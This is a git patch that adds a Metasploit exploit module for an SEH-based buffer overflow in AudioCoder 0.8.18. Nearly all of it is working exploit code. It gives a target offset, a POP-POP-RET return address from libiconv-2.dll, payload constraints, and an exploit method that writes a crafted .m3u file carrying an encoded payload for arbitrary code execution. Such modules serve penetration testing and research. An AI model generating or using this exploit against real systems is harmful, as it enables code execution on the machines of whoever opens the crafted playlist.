From 6210b429124d952f77e71b3b72c5d6830d69f8f4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 2 May 2013 22:00:43 -0500 Subject: [PATCH] Port EDB 25141 to msf --- .../windows/fileformat/audio_coder_m3u.rb | 76 +++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100644 modules/exploits/windows/fileformat/audio_coder_m3u.rb diff --git a/modules/exploits/windows/fileformat/audio_coder_m3u.rb b/modules/exploits/windows/fileformat/audio_coder_m3u.rb new file mode 100644 index 0000000000..0959becee8 --- /dev/null +++ b/modules/exploits/windows/fileformat/audio_coder_m3u.rb @@ -0,0 +1,76 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'AudioCoder .M3U Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability + occurs when adding an .m3u, allowing arbitrary code execution with the privileges + of the user running AudioCoder. This module has been tested successfully on + AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'metacom', # Vulnerability discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'EDB', '25141' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Platform' => 'win', + 'Payload' => + { + 'Space' => 6596, + 'BadChars' => "\x00\x5c\x40\x0d\x0a", + 'DisableNops' => true, + 'StackAdjustment' => -3500, + }, + + 'Targets' => + [ + [ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1', + { + 'Ret' => 0x66011b56, # ppr from libiconv-2.dll + 'Offset' => 765 + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'May 01 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), + ], self.class) + + end + + def exploit + buffer = "http://" + buffer << rand_text(target['Offset']) + buffer << generate_seh_record(target.ret) + buffer << payload.encoded + + file_create(buffer) + end +end